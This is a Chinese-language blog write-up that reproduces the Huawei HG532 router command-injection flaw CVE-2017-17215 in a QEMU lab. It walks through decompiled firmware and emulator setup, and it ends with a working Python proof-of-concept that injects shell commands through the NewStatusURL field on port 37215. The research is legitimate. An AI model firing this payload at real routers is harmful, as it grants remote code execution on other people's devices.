当前位置: 首页 > news >正文

华为HG532路由器RCE漏洞 CVE-2017-17215 复现

华为HG532路由器RCE漏洞 CVE-2017-17215

CVE-Description

Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.

华为 HG532 的某些定制版本存在远程代码执行漏洞。经过身份验证的攻击者可以向 37215 端口发送恶意数据包来发起攻击。成功利用此漏洞可能导致任意代码被远程执行。

0x00 文件提取

直接用binwalk -Me .bin,在squashfs-root//bin/下有一个upnp,就是漏洞文件

UPnP:

UPnP(通用即插即用)是一种基于网络协议的技术框架,允许设备在无需手动配置的情况下自动发现、连接和通信,广泛应用于家庭网络、智能家居和物联网场景,但需注意其潜在的安全性和性能问题。

checksec upnp查看其信息:

Arch:     mips-32-big
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

没有开启任何包含。

0x01 漏洞定位

用官方报告中提及的NewStatusURLNewDownloadURL字符串定位

在这里插入图片描述

得到所在函数的源码:

int __fastcall sub_407B20(int a1)
{
  int ChildNodeByName; // $s1
  const char *v4; // [sp+20h] [-40Ch] BYREF
  const char *v5; // [sp+24h] [-408h] BYREF
  _BYTE v6[1028]; // [sp+28h] [-404h] BYREF

  ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewDownloadURL", 0, &v4);
  if ( !ChildNodeByName )
  {
    if ( v4 )
    {
      ChildNodeByName = ATP_XML_GetChildNodeByName(*(_DWORD *)(a1 + 44), "NewStatusURL", 0, &v5);
      if ( !ChildNodeByName )
      {
        if ( v5 )
        {
          snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);
          system(v6);
        }
      }
    }
  }
  return ChildNodeByName;
}

这里直接将变量值v4,v5拼接进语句中,再传入system函数执行,这就是漏洞点

snprintf(v6, 1024, "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b", v4, v5);
          system(v6);

这段代码的逻辑大概可以看出来是从XML中提取出NewDownloadURL和NewStatusURL,然后拼接进命令里执行

也就是这样:

upg -g -U <NewDownloadURL> -t '1 Firmware Upgrade Image' -c upnp -r <NewStatusURL> -d -b

但这个漏洞函数并没有被直接引用:

去文件系统里查查:

$ grep -r 'NewDownloadURL'                             
grep: bin/upnp: 匹配到二进制文件
etc/upnp/DevUpg.xml:<name>NewDownloadURL</name>
 $ grep -r DevUpg.xml                
grep: bin/upnp: 匹配到二进制文件

DevUpg.xml只在upnp文件中存在,继续寻找:

int ATP_UPNP_RegDeviceAndService()
{
  ......
      
  v0 = ATP_UPnP_RegDevice(0, dword_426F54, "InternetGatewayDevice:1", 3, 0, 0, &v25);
  v1 = ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2, 0, 0, &v26);
  v2 = ATP_UPnP_RegService(v25, "Layer3Forwarding:1", "L3Fwd.xml", 3, 0, 0, &v27);
  v3 = ATP_UPnP_RegService(v25, "LANConfigSecurity:1", "LANSec.xml", 2, 0, 0, &v29);
  result = v1
         + v0
         + v2
         + v3
         + ATP_UPnP_RegService(v25, "urn:www-huawei-com:service:DeviceConfig:1", "DevCfg.xml", 2, 0, 0, &v28);
  if ( !result )
  {
    v43 = ATP_UPnP_RegDevice(v25, 0, "WANDevice:1", 3, 1, 0, &v31);
    v5 = ATP_UPnP_RegService(v31, "WANCommonInterfaceConfig:1", "WanCommonIfc1.xml", 2, 0, 0, &v32);
    v96 = ATP_UPnP_RegService(v31, "WANDSLInterfaceConfig:1", "WanDslIfCfg.xml", 3, 0, 0, &v30);
    v6 = ATP_UPnP_RegDevice(v31, 0, "WANConnectionDevice:1", 3, 1, 0, &v33);
    v7 = ATP_UPnP_RegService(v33, "WANDSLLinkConfig:1", "WanDslLink.xml", 2, 0, 0, &v41);
    v8 = ATP_UPnP_RegService(v33, "WANIPConnection:1", "WanIpConn.xml", 3, 1, 0, &v35);
    v9 = ATP_UPnP_RegService(v33, "WANPPPConnection:1", "WanPppConn.xml", 3, 1, 0, &v34);
    v10 = ATP_UPnP_RegService(v33, "WANEthernetConnectionManagement:1", "WanEthConnMgt.xml", 2, 0, 0, &v36);
    v11 = ATP_UPnP_RegService(v33, "WANEthernetLinkConfig:1", "WanEthLinkCfg.xml", 2, 0, 0, &v37);
    v12 = ATP_UPnP_RegDevice(v25, 0, "LANDevice:1", 2, 1, 0, &v38);
    v14 = ATP_UPnP_RegService(v38, "LANHostConfigManagement:1", "LanHostCfgMgmt.xml", 2, 0, 0, &v39);
    v13 = ATP_UPnP_RegService(v38, "WLANConfiguration:1", "WLANCfg.xml", 2, 1, 0, &v40);
      
      v42 = ATP_UPNP_RegAction(v26, 0);
      
    ......

跟进ATP_UPnP_RegDevice:

int __fastcall ATP_UPnP_RegService(int a1, int a2, const char *a3, int a4, int a5, int a6, int **a7)
{
......

           if ( !g_pcDescPath )
              goto LABEL_111;
            snprintf(v81, 128, "%s/%s", (const char *)g_pcDescPath, a3);
            if ( TSP_XML_ParseFile(v81, &v77) )
              goto LABEL_111;
            v40 = ATP_UPNP_StrDup(a3);
            
            
......

函数逻辑为:

1、注册 UPnP 服务ATP_UPnP_RegService),每个服务对应一个 XML 文件。

2、检查是否已有该服务,如果已有,直接复制旧的服务数据。

3、解析 XML,提取 状态变量(stateVariable)动作(ActionList)

4、将服务挂载到设备上,最终注册完成。

所以漏洞函数对应的就是DeviceUpgrade设备升级这个服务。

继续跟进ATP_UPNP_RegAction:

int __fastcall ATP_UPNP_RegAction(int a1, int a2)
{
  int n1074331648; // $v0
  _DWORD *v4; // $s0
  char *v5; // $s2
  int v6; // $s1

  if ( !a1 )
    return 1074331648;
  n1074331648 = 1074331648;
  if ( *(_DWORD *)(a1 + 48) )
  {
    v4 = *(_DWORD **)(a1 + 36);
    if ( v4 )
    {
      v5 = (&g_astActionArray)[4 * a2];         // "Upgrade"
      while ( 1 )
      {
        if ( (v4[1] & 0x40000000) != 0 )
        {
          v6 = *v4;
          if ( !strcmp(*v4, v5) )
            break;
        }
        v4 = (_DWORD *)v4[4];
        n1074331648 = 1074331648;
        if ( !v4 )
          return n1074331648;
      }
      ATP_UPNP_Free(v6);
      v4[1] &= ~0x40000000u;
      *v4 = a2;
      return 0;
    }
  }
  return n1074331648;
}

这里有个 _Upgrade_ = (&g_astActionArray)[4 * a2]; // "Upgrade"

在g_astActionArray处,做全局变量修复后,发现这是一个虚表,且存在漏洞函数sub_407B20

在这里插入图片描述

这个虚表还会被UPnPGetActionByName调用

在这里插入图片描述

UPnPGetActionByName:

char *__fastcall UPnPGetActionByName(int a1, int a2, int a3, _DWORD *a4)
{
	......
        v10 = *i;
        v11 = &(&g_astActionArray)[4 * *i];     // "Upgrade"
        if ( !strcmp(*v11, a2) && (!v11[1] || !strcmp(v11[1], a3)) )
        {
          if ( a4 )
            *a4 = (&g_astActionArray)[4 * v10 + 3];// "Upgrade"
          // "Upgrade"
          return (&g_astActionArray)[4 * *i + 2];
  	......

这部分取值并调用返回函数,这里就是调用漏洞函数的位置,下面继续跟进,看如何触发UPnPGetActionByName

在sub_40B198里找到了调用

int __fastcall sub_40B198(_DWORD *a1, int a2)
{
	......

  if ( ATP_HTTP_ClientRecvAllBody(a2, v2, &v37, 0) )
    return 1074331659;
  v5 = *(_DWORD *)(v2 + 8);
  if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 )
  {
    ServiceByUrl = UpnpGetServiceByUrl(v5, &v36);
      
	......
    
    v47[14] = 0;
    if ( !ATP_XML_GetChildNodeByName(v38, "Header", &v41, 0) )
      ATP_XML_GetChildNodeByName(v41, "SessionID", 0, &v47[14]);
    if ( ATP_XML_GetChildNodeByName(v38, "Body", &v39, 0)
      || (NodeFirstChild = TSP_XML_GetNodeFirstChild(v39), (NodeFirstChild_1 = NodeFirstChild) == 0)
      || (v42 = 0, TSP_XML_GetNodeValue(NodeFirstChild, 0, &v42, &v43, 0))
      || !v43 )
    {
      v8 = 0;
      TSP_XML_FreeNode(v38);
      n1074331658 = 1074331658;
      goto LABEL_23;
    }
      
	......
    
            ActListByActName = UpnpGetActListByActName();
            if ( ActListByActName )
            {
              snprintf(tr064_set_action(%s)_failed__ErrorCode:_%d_, 256, "upnp set action(%s)", (const char *)v47[9]);
              v30 = *(const char ***)(ActListByActName + 8);
              if ( !v30 || *(_DWORD *)(ActListByActName + 12) )
                goto LABEL_70;
              do
              {
                if ( !*((_DWORD *)v30[1] + 2) )
                {
                  if ( !*v30 )
                    goto LABEL_63;
                  v31 = (const char *)sub_40A618(v47, *v30);
                  if ( !v31 )
                    goto LABEL_63;
                  v33 = strlen(tr064_set_action(%s)_failed__ErrorCode:_%d_);
                  snprintf(
                    &tr064_set_action(%s)_failed__ErrorCode:_%d_[v33],
                    256 - v33,
                    "[param %s, value:%s]",
                    *v30,
                    v31);
                }

          if ( strcmp(v47[9], "SetConfigPassword") )
          {
            v46[0] = *(_DWORD *)(g_pstUPnPStack + 24);
            v25 = *(_DWORD *)(g_pstUPnPStack + 32);
          }

这里有一个 if ( strncmp(v5, "/ctrlu/", 7) || (*a1 & 2) != 0 ) 做了url的限制(另外该函数中还有一部分SetConfigPassword,不知道这里会不会也存在漏洞)

/ctrlu/就是传入的url,后面跟着参数,至此找到了漏洞函数最上层的入口。

0x02 漏洞利用

看网上都说upnp服务需要通过32715端口来启动,但无一例外都没有说具体源码在哪。

实际上去看main函数,很容易看到这一部分,创建 了UPnP HTTP 服务器,监听 37215 端口

    if ( Server_1 < 0 )
    {
      Server = ATP_UTIL_SocketCreateServer(0, 37215, 0);
      Server_1 = Server;
      if ( Server < 0 )
      {
        v17 = *(_DWORD *)_errno_location();
        tr064_reg_msg_db_proc_failed:%X_n = "Create upnp http socket failed: %d.\n";
        goto LABEL_36;
      }
      listen(Server, 20);
    }

所以我们需要去找其他有用到37215端口的程序

找到了bin/mic,在mic文件中,不知为何,我并没有找到相关的源码

$ grep -ra '37215'
bin/mic:cmsCms not started yet.consolewebcwmptelnetdupnp|37215|t4;|37443|s4dnsbrctl addbr br0:9 2> /dev/nullifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/nullifconfig br0:9 up 2> /dev/null%s169.254.100.156ifconfig br0:9 down 2> /dev/nullbrctl delbr br0:9 2> /dev/nullbftpdCreate ipv6 socket for bftpd with port %d.

漏洞披露里说可以通过运行/bin/mic文件来打开37215端口,打开37215端口,并向该端口下的/ctrlt/DeviceUpgrade_1地址发送数据包,才能启用UPnP服务。

可以用sudo nmap 192.168.192.133 -p1-65535命令扫描到qemu虚拟机中所有打开的端口,或者用nc -vv 192.168.192.133 37215命令看看能否成功连接上37215端口

sudo qemu-system-mips \
    -M malta  \ 
    -kernel vmlinux-2.6.32-5-4kc-malta   \
    -hda debian_squeeze_mips_standard.qcow2  \ 
    -append "root=/dev/sda1 console=tty0"   \
    -netdev tap,id=tapnet,ifname=tap0,script=no   \
    -device rtl8139,netdev=tapnet  
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0"  -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet  
    
    sudo qemu-system-mips \
    -M malta -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic,macaddr=00:16:3e:00:00:01 \
    -net tap

下载qemu启动虚拟机所需要的“镜像” 这里采用的是内核态模拟

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2  
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

sudo apt-get install bridge-utils  
sudo brctl addbr Virbr0  
sudo ifconfig Virbr0 192.168.153.1/24 up

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

创建tap0接口 并添加网桥

sudo tunctl -t tap0  
sudo ifconfig tap0 192.168.153.11/24 up  
sudo brctl addif Virbr0 tap0

经典华为路由器漏洞复现详细分析(包括整个漏洞链)
写一个启动脚本start.sh

#!/bin/bash  

sudo qemu-system-mips   
    -M malta   
    -kernel vmlinux-2.6.32-5-4kc-malta   
    -hda debian_squeeze_mips_standard.qcow2   
    -append "root=/dev/sda1 console=tty0"   
    -netdev tap,id=tapnet,ifname=tap0,script=no   
    -device rtl8139,netdev=tapnet   
    -nographic

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

增加一个IP 检测双ping 是否能ping通

ifconfig eth0 192.168.153.3/24 up

经典华为路由器漏洞复现详细分析(包括整个漏洞链)
然后把文件系统复制到我们新启动的虚拟机中

sudo scp -r ./squashfs-root root@192.168.153.3:/root/

然后挂载启动

mount -o bind /dev ./squashfs-root/dev  
mount -t proc /proc ./squashfs-root/proc  
chroot squashfs-root sh

这里根据漏洞分析 是要启动upnpmic这两个接口。

由于启动mic的时候 会把eth0的IP弄没 因此我们通过SSH链接的方式 远程启动 然后利用虚拟机重新启动eth0就可以外部访问了。

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa root@192.168.153.3  
chroot squashfs-root sh  
./bin/upnp  
./bin/mic

启动后我们发现

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

eth0没了 我们重新启动

ifconfig eth0 192.168.153.3/24 up

在宿主机测试:

nc -vv 192.168.153.3 37215

经典华为路由器漏洞复现详细分析(包括整个漏洞链)

环境启动成功

在这里插入图片描述

用下面的脚步即可完成复现

import requests   
import sys
headers = {  
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"  
}  
  
data = f'''<?xml version="1.0" ?>  
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">  
   <NewStatusURL>;{sys.argv[1]};</NewStatusURL>  
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>  
  </u:Upgrade>  
</s:Body>  
</s:Envelope>  
'''  
requests.post('http://192.168.153.3:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

复现成功,可以看到在mic的运行输出中打印了ls的返回值

在这里插入图片描述

参考链接

https://research.checkpoint.com/2017/good-zero-day-skiddie/

https://cn-sec.com/archives/3690438.html

相关文章:

  • 批量给 PDF 页面添加超链接
  • Flink实战教程从入门到精通(基础篇)(五)Flink部署-YARN运行模式
  • 风险研究 | AI 安全警钟响起:Manus AI 漏洞暴露的背后真相
  • LeetCode 第36、37题(数独问题)
  • spring ApplicationContext 继承的这些接口作用,示例,表格对比
  • 华为单臂路由 与 策略路由
  • SpringCould微服务架构之Docker(4)
  • chrome插件开发之API解析-chrome.scripting.executeScript()
  • 基于网启PXE服务器的批量定制系统平台(详细版)
  • 智启人文新篇:生成式人工智能(GAI)认证驱动文科教育数字化转型与跨界融合
  • 2025-03-27 学习记录--C/C++-C语言 头插法插入单链表
  • Docker技术系列文章,第十篇——Docker 集群与编排(以 Kubernetes 为例)
  • mysql sql语句orderby,groupby优化
  • 电力物联网数据采集装置 高精度电能计量表
  • 手写数据库MYDB(一):项目启动效果展示和环境配置问题说明
  • 【蓝桥杯】算法笔记1
  • vue项目中播放ws(Websocket协议)视频流
  • AI时代的数据底座:火山引擎多模态数据湖的设计与实践
  • 英语不好,可以考取Oracle OCP认证吗?
  • 闭包、装饰器学习笔记(第二次学习)
  • 苏州企业建设网站价格/免费的云服务器有哪些
  • 湛江电子商务网站建设/手机百度云电脑版入口
  • 公司网站建设的费用/广州seo效果
  • 门户网站域名是什么意思/安卓优化大师官方版
  • 柳市做公司网站/平台推广渠道
  • 官方在家做兼职的网站/百度浏览器网站入口